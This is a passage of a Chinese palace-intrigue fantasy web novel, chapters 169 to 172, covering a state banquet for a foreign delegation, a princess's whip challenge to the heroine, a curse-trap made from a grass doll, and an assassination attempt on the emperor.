她今日这身装扮称得上精致得体,眉眼间却难掩疲惫,远远瞧着,梳理整齐的鬓边竟隐现白发!
梅柔卿的目光,同样定格在那支舞姬队伍最末那道身影,眼神复杂难辨。
旋即,梅柔卿目光猛地转回,与云昭的视线在半空中狠狠撞上!
四目相对,新仇旧恨。
云昭唇角缓缓勾起一抹笑,带着洞悉一切的了然与一丝看好戏的嘲弄。
梅柔卿的脸色瞬间变得更为难看!
她梅柔卿,确实够狠够聪明,但可惜生的女儿,连她一半的隐忍和城府都没有学到。
空有野心,却无匹配的智慧和手段,真是应了那句话——
心比天高,身为**。
今天这场夜宴,注定会很精彩了。
第169章 姜家的催命符
宫门内侧,高大的蟠龙廊柱投下浓重的阴影。姜世安与姜珩父子二人便瑟缩在这片阴影里,引颈期盼着朱玉国皇室车驾的到来。
远远的,他们瞧见云昭携着苏氏,步履从容地自宫门验身处走了进来。
母女二人衣着并不过分豪奢,宫装颜色素雅,但行走间那份由内而外的沉静与贵气,却仿佛自带光华。
姜珩望着那两道渐行渐远的背影,心底某个角落像是被细针猝不及防地刺了一下。
一个念头不受控制地冒了出来。
他侧过身,压低声音,语气带着一种连他自己都未察觉的晦涩:“爹,当年……苏氏与您生的那个儿子……可还活着吗?”
姜世安眉眼间飞快闪过一抹极不自在的阴霾。
他低声呵斥道:“糊涂!眼下是什么节骨眼?专心接待好朱玉国皇室才是头等大事!这些陈年旧事,休要再提,平白招惹是非!”
姜珩却不肯罢休,反而继续低语:“爹,您想过没有?苏氏虽已与您和离,但在外人眼中,她仍是我名正言顺的‘母亲’。
若我那位‘弟弟’当真早已不在人世……来日苏家那边,母亲能给我行方便,我也能替母亲在苏家撑腰。”
姜世安如何不明白姜珩打的是什么主意!
但他似乎很忌讳谈及当年那个儿子的事,只含糊道:“都过去这么多年了,杳无音信,想来……应当是**。”
父子二人正各怀心思,忽见又一顶素雅的青绸小轿在宫门前停下。轿帘掀开,走下来一位身姿婀娜的女子。
只见她面上覆着一层素白轻纱,将容貌遮掩了大半。她仪态优雅,行走间裙裾微漾,只是细看之下,便能发现她左脚微跛,步伐带着难以掩饰的滞涩。
姜珩的目光不由自主地被吸引,在那女子曼妙的身段上流连了片刻。
就听那女子身后传来一道女声,带着几分熟稔:“荣姐姐,你也到了。”
只见宋白玉快步上前,亲**挽住了那覆面女子的手臂。
姜珩心头一震!竟真是那位传说中深居简出的荣家小姐!
说来也巧,几乎是同时,那位荣小姐也微微侧首,朝姜珩所在的方向望了过来。
廊下灯火辉煌,光晕流转。四目相对的刹那,姜珩下意识地挺直了脊背。
姜珩发现这位荣小姐的眉眼并不丑陋,甚至可以说颇为明媚,只是眼睛以下的部位被薄纱遮挡。
想来……那些关于她“满脸痘瘢”的传言,并非空穴来风。
姜世安将儿子瞬间的失态与怔愣看在眼里,不由捋了捋须,低声道:“珩儿,你是我最器重的儿子,为父怎会在你的婚姻大事上坑害你?
这位荣小姐,虽说腿脚有些不便,但毕竟是荣太傅嫡亲的孙女,真正的清贵门第。
你看她那通身的气派,寻常闺秀如何能及?
所谓娶妻娶贤,纳妾纳色。你若能顺利成为荣太傅的孙女婿,得其助力,前途自然不可限量。
届时,又何须再去想着如何讨好苏氏,看她那冷冰冰的脸色?”
姜珩还待再多看几眼,那荣小姐已淡淡收回目光,由宋白玉挽着,从容向宫内走去。
就在这时,一阵不同于中原韵律的鼓乐声由远及近,伴随着清脆的驼铃与马蹄声响,一列极具异域风情的车马仪仗,在宫廷禁卫的引导下,浩浩荡荡驶进宫门!
当先是一辆极为华丽的鎏金嵌宝马车,由四匹通体雪白的高头大马牵引,车辕上雕刻着繁复的朱玉国图腾——
缠绕的金蛇与烈焰。
车驾前后,簇拥着数十名身着朱玉国传统服饰、腰佩弯刀的护卫,以及手持各种奇异乐器的仪仗队。
姜世安和姜珩父子见状,精神一振,连忙整理衣冠,快步迎上前去。
然而,未等他们开口,那鎏金马车的车帘被人从里面用一根马鞭“唰”的一下甩开!
鞭梢带着凌厉的风声,不偏不倚,正好抽在站在最前面的姜珩脸颊上!
“啪!”一声脆响。
姜珩猝不及防,脸上顿时传来火辣辣的刺痛,一道鲜红的鞭痕从他左侧眉骨斜跨至颧骨,瞬间肿起老高!
紧接着,一道带着浓烈不满的少女嗓音从车厢内传来,说的竟是字正腔圆的大晋官话:
“我不管!找不到寒哥哥,我就不参加这劳什子的晚宴!谁爱去谁去!”
姜珩强压下心底瞬间涌起的怒火与巨大的**,捂住火辣辣的脸颊,抬起眼,怒视向那站在车辕之上,盛气凌人的少女。
只见那少女约莫十五六岁年纪,生得一副极具侵略性的浓艳容貌,一身朱红色绣金凤礼服华贵逼人,漂亮的大眼燃烧着熊熊怒火,带着毫不掩饰的娇纵与蛮横。
“赫连玉珠。”
一道略显慵懒的年轻男声响起,盖过了公主的吵闹,“你再胡闹,也确实不必参加今晚的夜宴了。我即刻便遣一队亲卫,护送你连夜返回朱玉。”
说话间,后方一辆马车上,走下一名身着墨蓝色常服的青年。
他身形高大挺拔,面容与赫连宝珠有几分相似,却更为硬朗深邃,眉眼间带着一丝漫不经心的淡漠,正是朱玉国三皇子,赫连曜。
赫连玉珠闻言一怔,随即带着哭腔喊道:“三哥无情无义!寒哥哥走失整整六年了!音讯全无!
如今我们好不容易来了大晋京城,你却半点不肯上心!
你忘了你从前说过,寒哥哥是你最好的兄弟吗!”
姜世安和姜珩父子听着这对兄妹用大晋官话吵得不可开交,俱是目瞪口呆,心中一片冰凉!
原因无他,他们父子二人为了此次接待,拖着伤病之躯,苦练朱玉国语言,本指望借此机会,博得陛下欢心。
可万万没想到,这朱玉国的皇子公主,竟然能将大晋官话说得如此流利!虽然略带些微口音,用词偶有不准,但交流完全无碍!
那他们父子二人,还有何用处?
姜世安目光仓惶地在使团队伍中扫视,终于,在赫连曜身后不远处,看到了一张依稀有些熟悉的面孔。
那人年约五旬,面容清癯,蓄着短须,气度沉凝。正是十六年前,随同当时朱玉国太子一同前来大晋的兀术!
当年的太子如今已是朱玉国国王,兀术也跟着水涨船高,已是位高权重的左贤王,兼任使团正使。
姜世安心中不由暗暗松了口气,连忙挤出一抹热络的笑,快步上前问候道:“兀术大人,多年不见,您风采更胜往昔!下官真是欣喜万分!”
他这一口地道的朱玉国语
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言,果然引得使团中人人侧目,连正在争吵的公主和皇子也暂时停下了争执,带着几分新奇看向他。
姜世安心中稍定,继续用朱玉语介绍道:“陛下隆恩,特命下官与犬子姜珩,负责使团在盛京期间的一切接待事宜,一如十六年前旧例。
大人有何需求,尽管吩咐,下官定当竭尽全力,务必让诸位宾至如归。”
然而,兀术的态度却并不如姜世安预期的那般热络。
他盯着姜世安,唇角勾起一抹似笑非笑的弧度,依旧用朱玉国语回道:
“既然是大晋皇帝陛下的安排,那么接下来这段时日,就多多仰赖姜大人费心了。”
姜世安见他仍说朱玉语,心中不由暗想:看来使团中也并非人人都通晓大晋官话,大约只有这两位年轻殿下因为好奇才学了去,像兀术这样的重臣,定然还是习惯本国语言。
就在这时,玉珠公主听了介绍,犹带泪痕的明眸在姜家父子身上滴溜溜转了一圈。
她问:“哦?你就是姜世安?那个……礼部郎中?”
“礼部郎中”这四个字,像一根针,狠狠扎进了姜世安的心口!
十六年前他接待朱玉国太子时,确实只是个小小的礼部郎中,可之后他步步高升,在礼部尚书的位子上稳坐多年,那是何等的风光!
然而如今他却只是个微不足道的九品芝麻官!此等难堪的现状,让他如何说得出口?
姜世安深吸一口气,强行压下心头的**,脸上堆起笑容,打定主意要抓住这次接待使团的机会。
只要他多费点心,说不定能像十六年前那样,机缘巧合“搭救”皇室,再立新功,
届时,官复原职甚至更进一步,也未必不可能!这定是老天爷赐给他翻身的绝佳机会!
他躬身道:“公主殿下若想了解这京城的风土人情,或是想品尝美食、游览名胜,尽可以吩咐犬子,他定当竭力为殿下安排周全。”
玉珠公主目光玩味,将姜珩从头到脚打量了一遍,随即用一种极其怪异的语调道:“你就是……姜、珩?”
不知为何,她这句官话说的格外滞涩,“姜珩”这两个字从她口中念出,带着一种说不清道不明的扭曲感,让人极不舒服。
姜珩本能地感到一阵厌恶与警惕,但转念一想,或许是自己太过敏感,这番邦公主发音本就不准,念不好中原名字也不足为奇。
他强扯出一抹还算得体的笑容,拱手行礼:“微臣姜珩,见过公主殿下。殿下初至盛京,若有任何需要,但请吩咐。”
玉珠公主伸出戴着宝石戒指的手指,隔空点了点姜珩:“今晚的宴会,你就坐在本公主身边伺候。”
姜世安在一旁听得心头狂喜,连忙不着痕迹地轻轻推了姜珩一记,急促叮嘱道:“珩儿,还不快谢过公主殿下恩典!机灵些,务必伺候好公主!”
他心中满是盘算,若能让珩儿得了这位朱玉国公主的青眼,哪怕只是暂时的,于他们姜家目前的困境而言,也是天大的助力!
这简直是绝处逢生!
然而,此刻满心算计的姜世安,又如何能预料到,他所以为的天降机缘,实则是一道将他们父子,乃至整个姜家,彻底拖入万劫不复深渊的催命符!
第170章 一身桃花债
另一边,麟德殿内,众人陆续入席。云昭身畔坐着李扶音与李灼灼姐妹。
眼见宋白玉携着一名面覆素纱的女子袅袅娜娜地走进,云昭问李扶音:“那女子是何人?”
李扶音以团扇半掩秀面:“是荣太傅家的千金,荣听雪。”
她顿了顿,语气带着一丝不易察觉的微妙,“说起来,荣太傅素来欣赏你那位兄长的才学,太傅近来似乎有意撮合,想将他这位宝贝孙女儿,嫁进你们姜家联姻呢。”
云昭一时诧异:这荣太傅什么眼光?
但转念想到那日在宫中,皇帝正是看了荣太傅递进宫的那封信,才改了主意,没有继续重罚姜世安和姜珩父子,云昭便知,李扶音这个消息,只怕十有**是真的。
正在这时,那荣听雪与宋白玉低语几句后,竟独自朝着她们这边走了过来。
行至李扶音案前,她从袖中取出一本装帧雅致的手抄册子:“听说郡君在寻一本失传的《潇湘水云》古琴谱,我偶然在祖父书房寻得残卷,便抄录了一份。”
李扶音含笑接过:“多谢荣姐姐费心惦记。改日我作东,请你去城南新开的‘漱玉茶庄’品茗。”
荣听雪眉眼间闪过一抹失落,却依旧语气温柔地应下:“好啊。”
她站在案前,纤细的手指无意识地绞着帕子,犹豫了片刻,终是忍不住问道:“我……我听祖父提及,前日在朝堂之上,扶舟公子他当众呕血了。不知……不知他如今身子可好些了?”
李扶音叹了口气:“劳荣小姐挂心。我大哥吃了太医开的药,暂且稳住伤情了,至于身子……就还是老样子。”
荣听雪闻言,眸中的忧色更浓,步履略显沉重地离开了。
云昭在一旁看得分明,与李扶音交换了一个了然的眼神。
李扶音压低声音,带着些许无奈道:“她心悦我大哥好些年了。可我大哥那身子……他自己无心成亲,不愿拖累旁人。
更何况,荣太傅想要的,是一个能撑起荣家门庭的上门孙女婿,我大哥方方面面都不符合,注定是没结果的。”
一旁竖着耳朵听的李灼灼,忍不住插嘴道:“这荣听雪人不坏,就算不能嫁给大堂哥,也不该嫁进姜家那个火坑啊!”
关于姜家那位大公子,李灼灼可谓一路见证了他的偏心与作死行径。
让那么个眼瞎心歪的绣花枕头,娶了荣听雪这样心思单纯的贵女,还得享荣家的大力扶持,光是想一想,李灼灼都觉得憋屈得慌!
李扶音也欲言又止。
她从前确实心仪姜珩,可后来亲眼目睹其与姜绾心黏黏糊糊的行径,不仅彻底歇了这份心思,而且很是瞧不上姜珩品性为人。
姐妹二人俱都瞧着云昭,心中打定主意,待会要找机会,让云昭也给那荣听雪算一卦姻缘!
云昭耳朵里听着八卦,目光始终若有似无地落在不远处的宋白玉身上。
她不动声色地从袖中取出一个仅有拇指大小的玉瓶,目光在殿内逡巡片刻,最终落在几盆叶片细长的兰草上。
她侧首对侍立在身后的莺时低声吩咐道:“瞧见那边那种兰草了吗?去帮我取几片叶子,编个小玩意来。”
莺时深知,自家姑娘绝不会在这等场合无缘无故提出看似儿戏的要求,其中必有深意。
她也压低声音问:“姑娘,是要编个兔子,还是编个小娃娃?”
“编个娃娃最好。”
莺时会意,悄无声息地移至殿角那丛兰草旁,飞快地撷取了几片细长叶片。
不过片刻功夫,她便折返回来,手中已多了一个憨态可掬的草编娃娃。
云昭以宽大的袖摆作遮挡,将手中玉瓶里的东西,倒入面前盛着清水的白玉杯中。
随后,她将那只草编娃娃浸入水中。草叶遇水,微微吸饱了水分,颜色变得更深。
须臾,云昭又将那草编娃娃取出,指尖在其上轻轻拂过,一丝极淡的玄妙气息似乎被留在了娃娃体内。
那小玉瓶里封存的,正是昨晚她从萧启体内强行拔除的第二重恶诅——“桃花咒”的核心咒力。
她方才用了“李代桃僵”之术,将桃花咒的咒力转移到了草编娃娃上。
此举并非为了害人,而是布下一个精巧的陷阱。
若此前对萧启下咒之人,今晚仍不死心,再次试图催动这桃花咒,那么云昭设下的这个“替身娃娃”,便会将咒力原路反噬回去。
届时,下咒者必遭其害!
云昭正凝神感应着手中娃娃的咒力,忽见殿门口光影一动,又一道身影袅袅而入。
竟是身穿紫色留仙裙的苏玉嬛!
一旁李扶音见状,不由低语道:“真是水涨船高。苏老大人刚被陛下启用,重回朝堂,今夜这位苏小姐,便也有资格来参加这夜宴了。”
那苏玉嬛一走进来,目光便如同带着钩子,很快与不远处席位上的宋白玉对了个正着。
二人迅速凑到一处,低声寒暄起来,言笑晏晏,显得极为熟稔。
说话间,苏玉嬛便似不经意般,将目光朝着云昭这边投来,那眼神带着毫不掩饰的审视与敌意。
而紧接着,宋白玉也顺着她的视线,朝云昭看来,她目光沉凝,却更显深不可测。
云昭几不可察地皱了皱眉。
宋白玉和苏玉嬛,都是她怀疑可能与桃花咒有关的对象,偏偏这两人今晚凑在了一处。
这样一来,今晚她不得不打起十二分精神小心应对,务必要将这藏于暗处之人钓出来。
她忍不住嘀咕了句:“一身桃花债。”
萧启那张脸皮生得确实太过招摇,招来的桃花债,当真是一桩接着一桩,麻烦不断。
说曹操曹操到,一道身着玄色亲王礼服的高大身影,在一众内侍的簇拥下,步履沉稳地走入殿内,径直在空置的席位坐下。
萧启甫一落座,一旁李灼灼嘶了一声:“我的老天!我怎么感觉秦王殿下今晚的气色好得有点过分了!简直就跟……就跟吃了话本里那十全大补丹似的!”
事实上,李灼灼这话说得并不算夸张。
过去的萧启,常年在边关风沙中磨砺,肤色是健康的小麦色,气势冷冽迫人,如同出鞘的利剑。
但自从身中七玄钉恶诅,这几年他肤色冷白,眉眼沉郁,瞧着就是一副短命相。
然而,随着第二重恶诅“桃花咒”被云昭彻底拔除,压制他生机的又一道枷锁被打开——
今日的萧启,竟隐隐有几分“面若桃花”的昳丽之感,此刻更显俊美无俦,别样勾人。
偏偏他自落座后,目光便越过满殿的宾客,毫不避讳地落在了云昭身上。
这毫不掩饰的注目,立刻引得在场不少人,纷纷顺着他的视线,将目光投向了云昭。
坐在萧启正对面的太子萧鉴,一时眉目阴翳。
他下意识地扫向身畔,目光一转,却只看到身侧空落落的。
灵峰**。
起初太子并未觉得如何,直到这时才真切地感到不便。
若是灵
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峰在此,定然能立刻察觉出萧启身上这不同寻常的变化,也必定会竭尽全力,帮他查清萧启身上究竟发生了什么!
席间,不少年轻的贵女们三三两两凑在一处低声谈笑。
其中一个少女得意地晃了晃腕上手串:“瞧见没?这是玄都观请来的芙蓉石手串,玉衡**亲自开的光,听说最能招引桃花了!”
那同伴压低声音嬉笑道:“快小声些!南华郡主现在还躺着呢!这时候还敢提‘桃花’二字,真是作死!”
云昭的目光落在少女腕间,不由蹙了蹙眉。
这手串确实会为佩戴者招来桃花,但不论招来的桃花是正是邪,是良缘还是孽债,全然不论!其代价,却是透支佩戴者未来的健康与寿元!
云昭目光扫向四周,或许因为此物售卖紧俏,又或者,并非每个人都会如那少女般天真炫耀,席间佩戴玄都观手串的人并不算太多。
直到云昭的目光越过人群,落在了坐在妃嫔席位的孟贵妃身上。
只见孟清妍正以手支额,没精打采地揉捏着太阳穴,而她那一截裸露在华服广袖之外的纤细手腕上,赫然戴着一串蓝水玉手串!
这手串正如同一只贪婪的水蛭,疯狂汲取着贵妃本就因有孕而略显虚浮的气血!
云昭心中隐隐觉得不对。
梅柔卿为了姜绾心,要算计贵妃和她腹中的胎儿,这本就在云昭的布局之中。
但梅柔卿昨日才从京兆府大牢出来,随后径直被提入宫中——
这手串,绝不可能是她进献给贵妃的。
那么,谁最有可能将此物送到贵妃手中?
昨日同样入宫觐见的,她的亲弟弟,大将军孟峥!
以孟峥的身份和对贵妃的关心,能弄到这玄都观的手串,并不稀奇,甚至可以说顺理成章。
可为何玉衡**会将这手串赠予孟峥,让贵妃佩戴?
玉衡不是太子的人吗?太子理应是最想保住贵妃腹中这块肉的人才对!
除非……
一个惊人的念头如同闪电般划过云昭的脑海,让她心头猛地一跳!
如果玉衡**并非一心一意效忠太子呢?
如果他另有所图,甚至……他背后真正的主子,并非太子萧鉴呢?
就在云昭心念电转,试图理清这背后错综复杂的关联时,殿外司礼太监一声悠长的高唱打断了她的思绪:
“朱玉国使团——觐见!”
殿内顿时一静,所有目光齐刷刷投向殿门。
只见以兀术为首的朱玉国使团众人鱼贯而入。
而其中最显眼的,正是那位一身朱红裙装、眉目艳丽的玉珠公主。
玉珠公主走进大殿,目光倨傲地四下扫视了一圈,随即,竟如同锁定了猎物一般,笔直地朝着云昭所在的方向看来!
她先是依照礼节,向上首的皇帝行了一个标准的宫廷礼:“朱玉国赫连玉珠,参见大晋皇帝陛下,愿陛下万岁安康!”
然而,不等皇帝开口让她平身,她已经自行直起身,目光再次灼灼地投向云昭,声音清晰地传遍了整个麟德殿:
“皇帝陛下,玉珠远道而来,听闻盛京城近来最有名、最厉害的女子,便是您亲封的玄察司主,姜府那位新认回的千金——姜云昭!”
她下巴微扬,目光灼灼地看向云昭:
“我听说你不仅医术玄妙,鞭子也用得极好!正巧,本公主最擅长的也是鞭法!
怎么样,姜司主,敢不敢在这夜宴之上,与我比一比鞭法?!”
第171章 姜珩这种书生,她还没玩过
谁也没想到,这位衣着华丽、容貌美艳的异国公主,行事竟如此骄横跋扈。
甫一登场,便敢当着大晋皇帝与满朝文武的面,公然挑衅近来声名鹊起的玄察司主!
御座之上,皇帝的脸色显而易见地沉了下来。
他身为万邦来朝的天子,自有威严。
这番邦公主不等他开口便自行起身,言语间毫无对主国皇帝的应有尊重,她将这场迎宾国宴当成了什么?市井街头可以随意叫阵的擂台吗?
这不仅是失礼,更是对他和大晋的轻慢!
阶下群臣亦是面面相觑。
文官们多皱起眉头,觉得这番邦公主实在不懂礼数;一些武将虽觉这公主性子泼辣有趣,但也认为此举过于突兀。
而跟随在使团旁,本就提心吊胆的姜珩,此刻更是冷汗涔涔,瞬间湿透了内衫!
他确实对云昭恨之入骨,恨她当日为何不死在清微谷,恨她回京后步步高升,反衬得他这个血脉不正的“嫡子”狼狈不堪,恨她夺走了本该属于他们姜家的一切风光!
今晚见到云昭时,他心底甚至不止一次期盼过云昭栽个大跟头。
但此刻,公主突然口出狂言,他身为负责接待的随行官员,圣上和满朝文武会怎么想?
会不会认为是他在背后挑唆,抑或觉得他无能,未能提前规劝引导,才致使出现如此失仪的局面?
这简直是将他架在火上烤!
云昭抬起眼眸,看向眼前这位气势凌人的公主。在她的玄瞳视界之中,看到的不仅仅是那副美艳皮囊。
出乎云昭意料的,这玉珠公主身上竟背了不止一条人命!
更引人注意的,是公主的面相。
眼波流转间自带桃花,眼尾带钩,眉散而浓,山根隐约可见细微的横纹——
这玉珠公主绝非良善之辈,而且男女关系颇为混乱。
玉珠见云昭迟迟不语,只是用一种让她莫名有些发毛的眼神盯着自己看,不由柳眉倒竖,娇叱道:“你看什么看?到底敢不敢比!”
云昭目光落在玉珠公主的耳畔,仿佛只是随口一句称赞:“公主殿下今日佩戴的耳环,非常别致。”
这句看似寻常的恭维话,却让玉珠脸色一变,下意识就想伸手去摸自己的耳朵。
站在她身旁的赫连曜,闻言也立刻朝妹妹的耳垂看去。
他离得近,一眼便看到玉珠公主的耳垂上,赫然有一道微微渗血的咬痕!
他这个妹妹是个什么德性,赫连曜再清楚不过。
她不仅贪恋男色,更以折磨英俊健壮的男子为乐。此番出使,他严令禁止她携带面首同行!
但随行的护卫军中青年男子众多,以玉珠公主的身份容貌,稍加引诱或威胁,总有不长眼的男子会上钩。
这咬痕,想必就是今日早些时候荒唐时留下的痕迹。
赫连曜心头微凛,云昭与宝珠相距不算很近,且那羽毛耳环设计精巧,很大程度上遮住了耳垂。
寻常人绝无可能在这个距离,看清那细微的咬痕。
这个姜云昭……不简单!
他原本并未将这个传闻中的大晋贵女放在心上,此刻却真正对云昭生出了几分浓厚的兴趣。
然而云昭并不是看到了玉珠耳垂上的伤口,而是那枚华丽的羽毛耳环上,正缠绕着一缕残魂怨气!
那怨气颜色灰黑,挣扎扭动,显然其主人才遇害不久,且死前遭受了极大的**与痛苦。
玉珠公主盯着云昭那双清澈眼眸,语气阴冷:“姜司主这双眼……倒是毒得很。”
就在这时,席间一位身着深青色官服的年轻官员站起身,拱手朗声道:“陛下,两位殿下远道而来,风尘仆仆,我等尚未尽地主之谊,岂有让贵客劳累之理?
不若先请两位殿下入席,品尝我大晋美酒佳肴,观赏歌舞,稍作歇息。至于切磋技艺,来日方长。”
说话之人正是鸿胪寺丞,崔晏亭,职责便是负责外宾朝会仪节。
云昭并不认识此人,但见他出言解围后,便立刻微垂下头退回席位,一副不欲引人注目的低调姿态,不由对此人生出了几分好奇。
御座上的皇帝,此时也顺着这话,不紧不慢地开口:“多年未见,左贤王风采更胜往昔啊。”
兀术闻言,立刻上前恭敬地行了一礼,脸上带着圆滑的笑容:“尊敬的皇帝陛下,多年不见,陛下龙威更盛,令人敬畏。
玉珠公主年轻气盛,性子直率冲动,让陛下见笑了。
我们朱玉国地处边陲,民风彪悍,最是崇尚有真本事的英雄豪杰。
玉珠公主听闻贵国有一位姓姜的姑娘鞭法了得,心中仰慕,这才一时按捺不住,想要切磋请教,绝无冒犯之意。”
一直紧张旁观的姜世安见状,连忙抢上前一步,用流利的朱玉国语,极尽详尽地将赫连朔的话翻译了一遍。
“还望陛下海涵。”兀术用略显生涩的语调,最后说了一句大晋官话。
皇帝脸上这才露出一丝淡淡的笑意:“十六年不见,兀术也开始学习我大晋的官话了,难得。”
兀术语气更加恭顺:“两国陛下英明,广开边市,互通有无。我们朱玉国的子民,为了能做更好的生意,许多人都开始学说一两句大晋官话了。这都是托陛下洪福。”
“好!甚好!”皇帝笑着点头,随即抬手示意,“既然如此,左贤王,三皇子,还有诸位使臣,都快快请入席吧。”
玉珠公主似乎还想说什么,一旁的赫连曜却已伸手,不着痕迹地拉了她一下。
他的目光从云昭腰间玉佩上收回,低声用朱玉国语快速说了一句:“再胡闹,我就立刻修书向父皇**,把你嫁给阿史那部的老酋长!”
从云昭的视角,只能依稀瞧见赫连曜嘴唇微动,对玉珠说了一句什么。
原本还不服气的玉珠公主,眼底闪过一抹极深的骇然,竟真的乖乖闭上了嘴,跟在赫连曜身后,悻悻然走向为他们准备的席位。
谁知,赫连曜在落座之后,竟抬起眼眸,朝云昭这边微微颔首。
他本就生得眉目深邃,此刻这般似笑非笑地看来,竟有种别样的风流,非常勾人。
皇帝身边的常公公适时扬声道:“奏乐!上膳!”
一队队手捧金盘玉壶的宫女太监们穿梭于各席之间,将一道道精心烹制的御膳珍馐呈上案头。
皇帝道:“诸位远道而来,且尝尝我们的菜肴。”
赫连曜优雅举起玉杯,向着御座方向致意:“如此美酒佳肴,晚辈等必定细细品味,不负陛下美意。”
他这番得体的话语与翩翩风度,如同春风拂过,殿内氛围重新变得融洽起来。
赫连曜侧过头,再次警告身旁一脸不耐的妹妹:“玉珠,收起你的性子,不要再打姜云昭的主意。”
他刻意压低声音道,“你好好想清楚,若是让阿寒知道,你今日如此为难、挑衅姜云昭,他会如何看你?
还会觉得你是那个天真烂漫、需要他呵护的小妹妹吗?”
玉珠闻言先是一怔,随即却像是听到了什么好笑的事情,咯咯低笑起来:“三哥,你当我是三岁小孩吗?
今日这大
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殿上,不是皇亲国戚,就是文武百官,寒哥哥他怎么可能在这里?你休要骗我!”
赫连曜深邃的眸中掠过一抹难以捉摸的异彩,他并未直接反驳,只是淡淡道:“你以为我是在唬你?”
玉珠琥珀色的美眸中闪过促狭:“别以为我看不出来,你分明就是瞧上那个姜云昭了!”
赫连曜不置可否,慢悠悠地道:“姜云昭如今是这大晋京城风头最盛、也最特殊的女子,关注她的人不知凡几。
今日这麟德殿内发生的一切,你以为能瞒得过谁?总会一字不落地传到该听到的人耳中。”
说完,他意味深长地看了玉珠一眼,“你若不信,大可以试试。”
玉珠眸中闪过一抹烦躁,她最讨厌的就是这种受制于人的感觉!
她挥了挥手:“知道了知道了!啰嗦!”
坐在两人身旁的姜珩,脸上写满了茫然。
这兄妹二人嘀嘀咕咕,语速极快,所用的语言既不是大晋官话,也非朱玉国语,他竟是一个字也听不懂!
他并不知道,如今的朱玉国乃是赫连王室历经数代,武力统一了草原及西域边缘多个部族后形成的联盟式王国,国内部落林立,语言繁杂。
赫连曜与玉珠此刻低声交谈所用的,正是他们二人亲生母亲出身部落的一种古老方言。
说话间,赫连曜想起入京以来听到的种种传闻,眼底闪过一丝冷芒。
他侧首对仍在生闷气的玉珠道:“你若真想替阿寒出出气,眼前不就有个现成的?”
玉珠顺着他的目光看向姜珩,眸中顿时闪过一抹如同猫儿见到了老鼠般的兴味。
三哥说得不错!
这个鸠占鹊巢的无耻之徒,今日落在她的手里,合该被她好好“招待”一番,才不枉她来这大晋一趟!
再次打量姜珩时,她的眼神已彻底变了,只剩下赤裸裸的审视与一种**的兴奋。
姜珩自然感受到了玉珠眼神的异样。他虽不喜玉珠的刁蛮,但一股莫名的虚荣与贪婪还是不受控制地涌上心头。
自己身为男子,若能与一国公主发生些什么,倒也不吃亏,反而是一桩风流韵事。
而且若是能借此博得公主的欢心,让她在陛下面前为自己美言几句,那升一升官阶,岂非指日可待?
玉珠伸出戴着宝石戒指的手指,在姜珩脸上不轻不重地摸了一把,语气娇蛮地命令道:“别像个木头似的干坐着!过来,陪本公主饮酒!”
她平素偏爱的一直是那种身材魁梧、龙精虎猛的草原勇士,像姜珩这般手无缚鸡之力的文弱书生,她还真没玩过。
不过,反正她还要在这大晋逗留一段时日,权当是换换口味,找点新鲜乐子也好。
不远处,云昭冷眼旁观着这一幕。
她清晰地看到了玉珠眼底那毫不掩饰的**与恶意;也看到了姜珩那欲拒还迎、半推半就中掩藏不住的贪婪与窃喜;
更看到了不远处一直关注着动向的姜世安,眼底几乎要溢出来的狂喜与算计。
云昭心底不禁涌起一股嘲弄。
这父子俩还真是一脉相承的愚蠢与贪婪!
他们根本不曾用心去了解玉珠的性情为人,只凭着平日里对大晋内宅贵女的算计,就敢妄图攀附这番邦公主?
简直是自寻死路!
不过这又关她什么事?
她要的就是姜家众人水深火热,悔不当初!
姜珩向来自视甚高,急功近利,又一心学姜世安当年那般,踩着女子骨血攀附权贵,活该他在女子身上,好好尝一番苦头!
第172章 别杀!那是心儿!
殿内琼筵笙歌,正是酒酣耳热之际。
但见珠帘微动,一道纤影袅袅而入,竟是多日未见的柔妃。
“臣妾来迟,还望陛下恕罪。”柔妃盈盈下拜,声线娇柔。
云昭打量着柔妃略显苍白的脸色,见她眼底精气凝聚,言语间气息平和,猜到她故意扮柔弱应是为了做戏。
“爱妃身子未愈,何必勉强。”皇帝转头吩咐内侍,“将朕那盏竹笋汤端来,桌上的冰镇梅汤撤了。”
柔妃唇边绽开一抹浅笑:“陛下日理万机,还这般惦记臣妾……”
另一边,孟贵妃漫不经心地用丝帕擦拭着唇角,声音不高不低,恰好能让邻近几席听见:“**就是矫情!惯会装出这副风吹就倒的模样,惹陛下心疼。”
此时鼓乐骤变,十二名拓枝舞姬踏节而入。
众女皆着石榴红绡金舞衣,唯有一道雪色身影,抱着曲颈琵琶,缓缓自最后步出。
是姜绾心。
云昭清晰地瞧见,站在孟贵妃下首的梅柔卿,先是神色一怔,旋即眼底闪过一抹难以掩饰的骄傲与得色。
仿佛自己精心雕琢的玉器,终于要在人前大放异彩。
就在这时,身旁的苏氏忽然倾身靠近:“昭儿,看那琵琶……
那是太后娘娘昔年在教坊司时的御用之物,名为‘春涧流泉’。”
提及这桩宫廷秘辛,苏氏声音压得极低,“因为太后的出身与性情,太皇太后在世时,一直很不喜欢她。”
高座之上,皇帝神情慵懒,触及姜绾心怀中所抱那柄琵琶时,目光瞬间锋锐。
他目光沉沉落在姜绾心身上,显然已认出了她的身份,更知晓了她今夜来此,必定是太后授意。
“欲奏何曲?”皇帝开口,听不出喜怒,仿佛只是寻常一问。
姜绾心轻拨琴弦,垂眸作答:“回陛下,臣女蒙太后娘娘不弃,亲授《春江花月夜》全本。今日愿借太后御琴,为诸位贵客,献此佳音。”
她口中答着皇帝的问话,眼尾的余光,却几不可察地瞟向了太子所在的方向。
太子起初似乎并未立刻认出这面覆轻纱、怀抱琵琶的女子是谁,待听到她开口说话,目光才不由自主地凝注在她身上。
云昭敏锐地捕捉到,太子很快耷下眼帘,眉眼间却闪过一抹不豫与烦躁。
很明显,他并不喜欢姜绾心今夜这个突如其来的“惊喜”。
琵琶声起,初时如珠落玉盘,清脆叮咚,渐渐转为婉转悠扬,与拓枝舞姬们热烈奔放的舞姿相映成趣。
正当乐曲渐入佳境时——
一名捧着酒壶的宫人,毫无预兆地暴起发难!
他猛地掷出手中酒壶,身形如鬼魅般前扑,一抹淬着幽蓝寒光的短剑自袖中滑出,以迅雷不及掩耳之势,直刺御座之上的皇帝!
“护驾——!”
太子的反应快得惊人!
几乎在刺客动作的同一瞬间,他已厉声高喝,猛地从席间跃起,毫不犹豫地张开双臂,用自己的身体挡在了皇帝与刺客之间!
电光火石之间,殿内大多数人甚至来不及惊呼!
但云昭因着一直暗自留意太子神色的异常,心中早有警惕,此刻一见有异,扣在掌中的银鞭瞬间出手!
“咻——啪!”
